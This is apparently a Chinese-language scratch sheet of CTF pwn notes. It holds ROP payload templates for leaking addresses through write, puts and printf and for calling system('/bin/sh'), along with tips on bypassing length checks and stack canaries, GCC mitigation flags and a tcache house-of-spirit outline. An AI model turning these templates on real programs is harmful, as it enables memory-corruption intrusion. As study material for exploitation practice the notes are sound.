零碎

和小数进行判断情况

https://cloud.tencent.com/developer/article/1473836

汇编代码确定小数位置

write函数泄露地址模板

1
payload='''padding'''+p32(write_plt)+p32('''return_addr''')+p32(1)+p32(write_got)+p32(4)

system执行

1
payload='padding'+p32(system)+p32(0)+p32(binsh)

注意:p32(0)相当于’\x00\x00\x00\x00’,strcpy(dest, src);相当于直接截断, sh 字符串肯定读不进去啊

p32(1)也可能因为大小端问题截断,deadbeaf挺好用

puts函数泄露地址模板

1
payload = 'padding'+p32(puts_plt)+p32(return_addr)+p32(puts_got)

printf函数泄露地址模板

1
payload = 'padding' + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)

循环判断

不同数据类型进行比较,有着不一样的作用。

1
接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。

scanf跳过

可以通过输入-跳过scanf读数据,从而泄漏栈中的canary。

只输入’+’ 或者’-‘的话,是不会修改地址上储存的值的,

栈迁移

ROPgadget使用

可以直接查找sh配合system

GCC参数

NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
原文链接:https://blog.csdn.net/lonyliu/article/details/90341012

tcache版本house of sprite

1.给出一个指针
2.把指针替换为栈上的变量
3.伪造栈为堆块
4.将栈上的fake_chuck给free掉
5.再次申请相同大小的堆块

OFF BY ONE的各种利用姿势

1.泄露地址

2.进行堆块拓展等